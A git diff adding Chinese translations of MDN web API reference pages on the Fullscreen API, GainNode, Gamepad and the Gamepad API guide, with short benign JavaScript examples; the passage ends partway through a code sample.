{{DOMxRef("Document.onfullscreenchange")}}
+

+ {{Event("fullscreenchange")}} 事件的处理程序,当进入全屏或退出全屏时,事件将被发送到{{DOMxRef("Document")}}上。此处理程序仅在整个文档全屏模式更改时有效。
+
{{DOMxRef("Document.onfullscreenerror")}}
+

+ {{Event("fullscreenerror")}} 事件的处理程序,当进入全屏或退出全屏出错时,事件将被发送到 {{DOMxRef("Document")}} 上,仅对整个文档的全屏模式更改出错时候有效。
+
+
+ +

Element 上的事件处理程序

+ +
+
{{DOMxRef("Element.onfullscreenchange")}}
+
当全屏事件发生时,该事件会被发送到该元素,表明该元素进入或退出全屏模式
+
{{DOMxRef("Element.onfullscreenerror")}}
+
{{Event("fullscreenerror")}} 事件的处理程序,当指定的 {{DOMxRef("Element")}} 改变全屏模式时候出现错误,该事件将被发送到指定的 {{DOMxRef("Element")}} 上。
+
+

废弃属性

+
+
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}
+
一个布尔值,文档内任意一个元素以全屏模式程序时该值为true,否则为 false
+
+
+

Note:请改用 {{DOMxRef("ShadowRoot")}} 或 {{DOMxRef("Document")}} 上的 {{DOMxRef("Document.fullscreenElement", "fullscreenElement")}} 属性;如果它不是 null,则它是就是当前在全屏模式下显示的元素。

+
+
+
+ +

事件

+ +

全屏 API 定义了两个事件:1.可用来检测全屏模式何时打开和关闭。2.在全屏模式和窗口模式之间切换过程中何时发生错误。

+ +
+
{{Event("fullscreenchange")}}
+
当全屏或退出全屏时发送消息给(监听的)的 {{DOMxRef("Document")}} 或 {{DOMxRef("Element")}} 。
+
{{Event("fullscreenerror")}}
+
当全屏或退出全屏是发生了错误时,将错误消息发送给(监听的)的 {{DOMxRef("Document")}} 或 {{DOMxRef("Element")}} 。
+
+ +

Dictionaries

+ +
+
{{DOMxRef("FullscreenOptions")}}
+
在调用 {{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}} 时可以设置选项。
+
+ +

访问控制

+ +

全屏模式可由功能策略( Feature Policy)控制。全屏模式功能由字符串“full screen”标识,默认的允许列表值为“self”,这意味着在顶级文档上下文 以及 从与顶级文档相同的源加载的嵌套上下文中允许使用全屏模式。

+ +

请参阅使用功能策略( Feature Policy )以了解有关使用功能策略控制对API的访问的更多信息。

+ +

使用说明

+ +

用户通过按 ESC  键(或 F11)即可退出全屏模式,而不是等着站点或应用的代码来做这件事。确定你在你的用户界面里提供合适的界面元素来告知用户这个可选项。

+ +
+

注意:当处在全屏模式中,浏览其他页面,切换标签页,或者切换到其他应用(例如使用 Alt-Tab)也会导致退出全屏模式。

+
+ +

示例

+ +

在这个例子中,网页中显示了一个视频。按下 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

+ +

查看在线演示

+ +

监听 Enter 键

+ +

当页面加载时,这段代码会运行,设置一个事件监听器以监听 Enter 键。

+ +
document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+
+ +

切换全屏模式

+ +

当用户按下 Enter 键时,这段代码会被调用,像上面看到的那样。

+ +
function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+      document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+
+ +

这段代码首先检查 document 的 fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用 element.requestFullscreen(),可以切换到全屏模式。

+ +

如果全屏模式已经激活(fullscreenElement 不为 null),我们可以调用 document.exitFullscreen()(或其前缀化的版本,这取决于你使用的浏览器)。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本.
+ +

浏览器兼容性

+ +

所有的浏览器都实现了这个API。然而一些带有前缀的实现在拼写上略微有些差别;例如,不同于 requestFullscreen(),存在一个 MozRequestFullScreen()

+ +

{{Compat("api.Document.fullscreen")}}

+ +

{{Compat("api.Document.fullscreenEnabled")}}

+ +
+ +

另见

+ + diff --git "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" "b/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" new file mode 100644 index 0000000000..b2d2d36f3a --- /dev/null +++ "b/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" @@ -0,0 +1,235 @@ +--- +title: 全屏指南 +slug: Web/API/Fullscreen_API/指南 +tags: + - API + - 全屏 + - 全屏 API + - 图像 + - 屏幕 + - 展示 + - 指南 + - 显示 + - 游戏 +translation_of: Web/API/Fullscreen_API/Guide +--- +
{{DefaultAPISidebar("Fullscreen API")}}
+ +

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

+ +

激活全屏模式

+ +

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

+ +

我们来看看 {{HTMLElement("video")}} 这个元素:

+ +
<video controls id="myvideo">
+  <source src="somevideo.webm"></source>
+  <source src="somevideo.mp4"></source>
+</video>
+
+ +

我们可以用下面的代码让视频进入全屏模式:

+ +
var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+}
+ +

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

+ +

显示差异

+ +

值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

+ +
#myvideo:-webkit-full-screen {
+  width: 100%;
+  height: 100%;
+}
+
+ +

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

+ +

通知

+ +

当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

+ +

当全屏请求失败时

+ +

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

+ +
+

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

+
+ +

退出全屏模式

+ +

 

+ +

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

+ +

其他信息

+ +

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

+ +
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
+
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
+
{{DOMxRef("Document.fullscreenEnabled")}}
+
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
+
+ +

你的用户想了解的信息

+ +

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

+ +

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

+ +

示例

+ +

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

+ +

View Live Examples

+ +

监听 Enter 键

+ +

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

+ +
document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+
+ +

切换全屏模式

+ +

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

+ +
function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+    document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+ +

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

+ +

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

+ +

前缀

+ +
+

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

+
+ +

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
+ +

浏览器兼容性

+ +

Document.fullscreen

+ +
+ + +

{{Compat("api.Document.fullscreen")}}

+ +

Document.fullscreenEnabled

+ +
+ + +

{{Compat("api.Document.fullscreenEnabled")}}

+
+
+ +

扩展链接

+ + + +

 

diff --git a/files/zh-cn/web/api/fullscreenoptions/index.html b/files/zh-cn/web/api/fullscreenoptions/index.html new file mode 100644 index 0000000000..066fbc656c --- /dev/null +++ b/files/zh-cn/web/api/fullscreenoptions/index.html @@ -0,0 +1,29 @@ +--- +title: FullscreenOptions +slug: Web/API/FullscreenOptions +translation_of: Web/API/FullscreenOptions +--- +

{{APIRef("Fullscreen API")}}

+ +

当调用{{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}} 元素以将该元素置于全屏模式时,使用 FullscreenOptions 字典提供配置选项。

+ +

属性

+ +
+
{{DOMxRef("FullscreenOptions.navigationUI", "navigationUI")}}{{Optional_Inline}}
+
在元素处于全屏模式时,控制是否保持浏览器用户界面元素可见的字符串。默认的“auto”让浏览器做出这个决定。
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.FullscreenOptions")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/gainnode/gain/index.html b/files/zh-cn/web/api/gainnode/gain/index.html new file mode 100644 index 0000000000..704c6da76b --- /dev/null +++ b/files/zh-cn/web/api/gainnode/gain/index.html @@ -0,0 +1,111 @@ +--- +title: GainNode.gain +slug: Web/API/GainNode/gain +translation_of: Web/API/GainNode/gain +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("GainNode") }} 接口的gain属性是一个a-rate {{domxref("AudioParam")}} ,表示可利用的增益量.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0.5;
+
+ +

+ +

An {{domxref("AudioParam")}}.

+ +
+

Note: Though the AudioParam returned is read-only, the value it represents is not.

+
+ +

Example

+ +

{{page("/en-US/docs/Web/API/AudioContext.createGain","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-GainNode-gain', 'gain')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/gainnode/index.html b/files/zh-cn/web/api/gainnode/index.html new file mode 100644 index 0000000000..2f18da2097 --- /dev/null +++ b/files/zh-cn/web/api/gainnode/index.html @@ -0,0 +1,98 @@ +--- +title: GainNode +slug: Web/API/GainNode +tags: + - GainNode + - HTML5 音频 + - Web Audio API + - de-zippering +translation_of: Web/API/GainNode +--- +

{{ APIRef("Web Audio API") }}

+ +
+

GainNode 接口表示音量的变化。它是一个{{domxref("AudioNode")}}音频处理模块,在输出前使用给定增益应用到输入。一个 GainNode 总是只有一个输入和一个输出,两者拥有同样数量的声道。

+ +

增益是一个无单位的值,会对所有输入声道的音频进行相应的增加。如果进行了修改,则会立即应用新增益,从而在结果音频中产生奇怪的“咔嗒”声。为了防止这种情况发生,请不要直接更改值,而应在{{domxref("AudioParam")}}接口上使用指数插值方法

+
+ +

The GainNode is increasing the gain of the output.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"max"
Channel count2 (not used in the default count mode)
Channel interpretation"speakers"
+ +

构造函数

+ + + +
+
{{domxref("GainNode.GainNode", "GainNode()")}}
+
创建GainNode对象的新实例不应手动创建增益节点;而应该使用{{domxref("AudioContext.createGain()")}}方法。
+
+ +

属性

+ +

从其父类继承属性{{domxref("AudioNode")}}。

+ +
+
{{domxref("GainNode.gain")}} {{readonlyinline}}
+
+ +

是一个a-rate{{domxref("AudioParam")}}表示应用的增益量。必须设置{{domxref("AudioParam.value")}}或者使用AudioParam的方法改变增益效果。

+ +

方法

+ +

无指定方法;所有方法继承自父类{{domxref("AudioNode")}}.

+ +

示例

+ +

{{page("/zh-CN/docs/Web/API/AudioContext.createGain","Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-gainnode-interface', 'GainNode')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容

+ +

{{Compat("api.GainNode")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/gamepad/index.html b/files/zh-cn/web/api/gamepad/index.html new file mode 100644 index 0000000000..05a3b1b61d --- /dev/null +++ b/files/zh-cn/web/api/gamepad/index.html @@ -0,0 +1,88 @@ +--- +title: Gamepad +slug: Web/API/Gamepad +translation_of: Web/API/Gamepad +--- +

{{APIRef("Gamepad API")}}

+ +

Gamepad API 的 Gamepad 接口,定义了一个独立的游戏手柄或其他控制器,允许访问控制器的信息,譬如按钮按下的状态、坐标输入的位置。游戏手柄或其他控制器,允许访问如按钮按下,和ID等信息。

+ +

Gamepad 对象有两种方式返回值:通过 {{event("gamepadconnected")}} 和 {{event("gamepaddisconnected")}} 事件的  gamepad 属性,或者在任意位置抓取 {{domxref("Navigator.getGamepads()")}} 方法返回的数组。

+ +

属性

+ +
+
{{domxref("Gamepad.axes")}} {{readonlyInline}}
+
一个表示控制器设备上存在的坐标轴的数组 (比如控制器摇杆)。
+
{{domxref("Gamepad.buttons")}} {{readonlyInline}}
+
一个 {{domxref("gamepadButton")}} 对象的数组,表示设备上的按键的数组。
+
{{domxref("Gamepad.connected")}} {{readonlyInline}}
+
一个表示控制器是否仍然连接着系统的布尔值。
+
{{domxref("Gamepad.displayId")}} {{readonlyInline}}
+
返回与 {{domxref("VRDisplay")}} 相关的 {{domxref("VRDisplay.displayId")}} (如果有相关) — 控制器所控制的 VRDisplay 场景。
+
{{domxref("Gamepad.id")}} {{readonlyInline}}
+
一个包含着控制器标识信息的 {{domxref("DOMString")}}。
+
{{domxref("Gamepad.index")}} {{readonlyInline}}
+
一个自增的整形数字,对于当前连接到系统的每一个设备是唯一的。
+
{{domxref("Gamepad.mapping")}} {{readonlyInline}}
+
一个指示浏览器是否被映射到某个已知布局的字符串。
+
{{domxref("Gamepad.timestamp")}} {{readonlyInline}}
+
一个表示上次控制器数据更新时间的 {{domxref("DOMHighResTimeStamp")}} 。
+
+

Gamepad 的实验性扩展

+ +

以下接口被定义于 {{SpecName("GamepadExtensions")}} 规范中,且提供了诸如触觉反馈和WebVR控制器姿态方位信息等实验功能的访问。

+
+
{{domxref("Gamepad.hand")}} {{readonlyInline}}
+
一个枚举项,定义了控制器是用哪只手拿着的,或最可能是哪只手拿着的。
+
{{domxref("Gamepad.hapticActuators")}} {{readonlyInline}}
+
一个包含 {{domxref("GamepadHapticActuator")}} 对象的数组,其中表示控制器上可用的触觉反馈硬件。
+
{{domxref("Gamepad.pose")}} {{readonlyInline}}
+
一个表示WebVR控制器姿态方位信息的 {{domxref("GamepadPose")}} 对象(比如其在3D 空间中的位置和方向)。 
+
+ +

示例

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("控制器已连接与 %d 位: %s. %d 个按钮, %d 个坐标方向。",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}{{Spec2("Gamepad")}}Initial defintion
{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}{{Spec2("WebVR 1.1")}}Defines the {{domxref("Gamepad.displayId")}} property.
{{SpecName("GamepadExtensions", "#partial-gamepad-interface", "Gamepad extensions")}}{{Spec2("GamepadExtensions")}}Defines the {{anch("Experimental extensions to Gamepad")}}
+ +

浏览器兼容性

+ +

{{Compat("api.Gamepad")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/gamepad_api/index.html b/files/zh-cn/web/api/gamepad_api/index.html new file mode 100644 index 0000000000..e8f55730a3 --- /dev/null +++ b/files/zh-cn/web/api/gamepad_api/index.html @@ -0,0 +1,100 @@ +--- +title: Gamepad API +slug: Web/API/Gamepad_API +tags: + - 实验性 + - 手柄 + - 控制器 + - 概述 + - 游戏 +translation_of: Web/API/Gamepad_API +--- +

{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}

+ +

 

+ +

Gamepad API 可以给予开发者一种简单、统一的方式来识别并响应游戏控制器(手柄)。其中包含了三个接口、两个事件、一个特殊函数,用来响应控制器的连接与断开、获取其他关于控制器的信息以及识别当前是哪个按键或是哪个控制器被按下了。

+ +

接口

+ +
+
{{domxref("Gamepad")}}
+
表示已连接的游戏控制器。
+
{{domxref("GamepadButton")}}
+
表示已连接手柄上的一个按键。
+
{{domxref("GamepadEvent")}}
+
表示与控制器相关的事件的事件对象。
+
+ +

实验性 Gamepad 扩展

+ +
+
{{domxref("GamepadHapticActuator")}}
+
表示控制器中的硬件,用于向用户提供触觉反馈(如果可用)最常见的是振动硬件。
+
{{domxref("GamepadPose")}}
+
表示控制器的位置方向(例如, 在3D 空间中的位置和方向)于 WebVR 控制器中。
+
+ +

另请参阅  Gamepad 接口扩展,来获取上方的功能的相关信息。

+ +

其他接口扩展

+ + + +
+
{{domxref("Navigator.getGamepads()")}}
+
于 {{domxref("Navigator")}} 对象中的一个扩展。会返回一个 名为{{domxref("Gamepad")}} 的数组对象,其中每个数组元素对应一个已连接的控制器。
+
+ +

Window 事件

+ +
+
{{domxref("Window.ongamepadconnected")}}
+
表示当控制器连接时(当{{event('gamepadconnected')}} 事件触发时)运行的处理程序。
+
{{domxref("Window.ongamepaddisconnected")}}
+
表示当控制器断开连接时(当{{event('gamepaddisconnected')}} 事件触发时)运行的处理程序。
+
+ +

教程与指南

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("GamepadExtensions")}}{{Spec2("GamepadExtensions")}}Defines the {{anch("Experimental Gamepad extensions")}}.
{{SpecName("Gamepad", "", "The Gamepad API specification")}}{{Spec2("Gamepad")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Gamepad")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/zh-cn/web/api/gamepad_api/using_the_gamepad_api/index.html new file mode 100644 index 0000000000..07f4d5c390 --- /dev/null +++ b/files/zh-cn/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -0,0 +1,356 @@ +--- +title: 使用 Gamepad API +slug: Web/API/Gamepad_API/Using_the_Gamepad_API +tags: + - 手柄 + - 指南 + - 控制器 + - 游戏 + - 进阶 +translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API +--- +

{{DefaultAPISidebar("Gamepad API")}}{{ SeeCompatTable() }}

+ +
+

HTML5 为丰富的交互式游戏开发引入了许多必要的组件。像 <canvas> 、WebGL、 <audio> 和 <video> 这样的技术,随着 JavaScript 的逐渐成熟,许多以前需要 native code 来实现的功能现在都可以实现了。Gamepad(手柄) API 是开发人员和设计者识别和使用游戏控制板和其他游戏控制器的一种方法。

+
+ +

Gamepad API 引入新的事件在 {{ domxref("Window") }} 对象中,来读取手柄和控制器(以下称“控制器”)的状态。除此之外,API还添加了一个 {{ domxref("Gamepad") }} 对象,你可以用它来查询已连接控制器的状态;还有一个 {{ domxref("navigator.getGamepads()") }} 方法,你可以使用它来获取页面已知的控制器列表。

+ +

连接控制器

+ +

当一个新的手柄连接到计算机时,焦点页面(当前页面)首先接收一个 {{ event("gamepadconnected") }} 事件。 如果在加载页面时已经连接了手柄,则会在用户按下某个按钮或移动坐标方向(axes)时触发焦点页面的 {{ event("gamepadconnected") }} 事件。

+ +
+

在 Firefox 中,控制器只会暴露给与用户产生交互的可见页面。这有助于防止控制器被用于获取用户的指纹。一旦有一个手柄与页面产生交互,那么其他连接的控制器将自动对页面可见。

+
+ +

你可以这样使用 {{ event("gamepadconnected") }} :

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("控制器已连接于 %d 位: %s. %d 个按钮, %d 个坐标方向。",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+
+ +

每个控制器都有一个与之关联的唯一ID,其在事件的 {{domxref("GamepadEvent.gamepad", "gamepad")}} 属性上可用。

+ +

断开控制器连接

+ +

当控制器断开连接时, 如果页面以前接收过该手柄的数据 (例如 {{ event("gamepadconnected") }}),那么第二个事件 {{ event("gamepaddisconnected") }} 将会分配至焦点页面:

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("控制器已从 %d 位断开: %s",
+    e.gamepad.index, e.gamepad.id);
+});
+ +

即使使用相同类型的多个控制器,控制器的 {{domxref("Gamepad.index", "index")}} 属性都会是唯一的,每一个设备都有一个。index 属性还可充当 {{ domxref("Navigator.getGamepads()") }} 返回 {{jsxref("Array")}} 的索引。

+ +
var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // 注:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+
+ +

上面的示例同时演示了在事件完成后如何保存 gamepad 属性,并在之后使用其查询设备状态。

+ +

查询 Gamepad 对象

+ +

正如你看到的,上面讨论的 gamepad 事件,包括事件对象上的 gamepad 属性,会返回一个 {{ domxref("Gamepad") }} 对象。因为可能同时连接不止一个控制器,所以我们可以使用它来确定是哪个控制器 (或者说 ID) 触发了事件。我们可以使用 {{ domxref("Gamepad") }} 对象做很多事,比如保留对象的引用并用其查询,以找出哪些按钮和摇杆在什么时候被按下了。相较于在下次触发,现在立即就可以获取控制器的状态对于游戏或其他交互式网页来说是一般是可取的。

+ +

开发者执行此类查询时往往涉及将 {{ domxref("Gamepad") }} 对象和一个动画循环 (例如 {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }})结合在一起,希望根据控制器的状态来对决定当前框架的行为。

+ +
+

{{ domxref("Navigator.getGamepads()") }} 方法返回当前对网页可见的所有设备的数组,{{ domxref("Gamepad") }} 对象 (初始值始终为 null,所以当没有控制器连接的时候将会返回 null )也一样可以用来获取的控制器信息。例如下面将会重写开头的第一个例子:

+
+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("控制器已连接于 %d 位: %s. %d 个按钮, %d 个坐标方向。",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});
+ +

以下是 {{ domxref("Gamepad") }} 对象的属性说明:

+ + + +
+

注:出于安全原因,Gamepad 对象在 {{ event("gamepadconnected") }} 事件上可用而在 {{ domxref("Window") }} 对象上不可用。一旦我们得到了对它的引用,我们就可以获取其属性以了解有关控制器当前状态的信息。在后台,此对象将会在控制器状态更改时更新。

+
+ +

使用按键信息

+ +

让我们看一个简单的示例:显示一个控制器的连接信息 (忽略后续连接的控制器) ,并让您使用控制器右侧的四个操作按钮移动屏幕上一个球。你可以 查看在线演示,并可在 Github 上找到源代码

+ +

我们首先声明一些变量:gamepadInfo 用于写入连接信息的段落;ball 是我们希望控制移动的球;start 作为 requestAnimation Frame ID 的初始变量; a 和 b 变量作为球位置动量,并且变量会被用于 {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} 和 {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} 。(?)

+ +
var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+
+ +

接下来我们使用 {{ event("gamepadconnected") }} 世界来检查控制器是否连接。当有一个控制连接时,我们就使用 {{ domxref("Navigator.getGamepads()") }}[0] 来抓取,输出控制器信息到我们“控制器信息”的 div 里,并开始 gameLoop() 函数来启动球的运动进程。

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "控制器已连接于 " + gp.index + " 位:" + gp.id + "。它有 " + gp.buttons.length + " 个按钮和 " + gp.axes.length + " 个坐标方向。";
+
+  gameLoop();
+});
+ +

现在我们再使用 {{ event("gamepaddisconnected") }} 事件来检查如果控制器断开的情况。如果断开了,我们会停止 {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} 循环 (见下方) 并重置控制器信息到原来的样子。

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "正在等待控制器。";
+
+  cancelRequestAnimationFrame(start);
+});
+ +

Chrome 在这里有些区别。它没有在变量内不断的更新存储控制器的最后状态,而存储只是当时的一个快照,所以你要在 Chrome 中做到同样的事情的话,就需要不断地轮询,然后在可用的时候只能在代码中使用 {{ domxref("Gamepad") }} 对象来达到目的。我们下面用 {{ domxref("Window.setInterval()") }}实现了7;一旦控制器的可以输出了,游戏循环就会开始,可以使用 {{ domxref("Window.clearInterval()") }} 清除定时循环。请注意在较旧版本的 Chrome 中实现 {{ domxref("Navigator.getGamepads()") }} 需要加上  webkit 前缀。我们尝试对两种前缀版本都进行监测和处理,以向后兼容。

+ +
var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // 没有控制器事件可用,则开始轮询。
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "控制器已连接于 " + gp.index + " 位:" + gp.id +
+        "。它有 " + gp.buttons.length + " 个按钮和 " + gp.axes.length + " 个坐标方向。";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}
+ +

现在看主要的游戏循环。在每次我们所需的四个按钮被按下的时候进行处理。如果被按下了我就会适当地更新动量变量  a 和 b 的值,然后分别用 ab 的值更新球的 {{ cssxref("left") }} 和 {{ cssxref("top") }} 属性。这样就可以在屏幕上移动数的位置了。在当前版本的 Chrome 中 (版本 34) button 的值是存储为数组的两个值,而不是 {{ domxref("GamepadButton") }} 对象。此问题已于开发者版本修复了。

+ +

当这些处理好之后,我们使用我们的 requestAnimationFrame() 来请求下一个动画帧,然后运行 gameLoop() 再继续执行。

+ +
function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
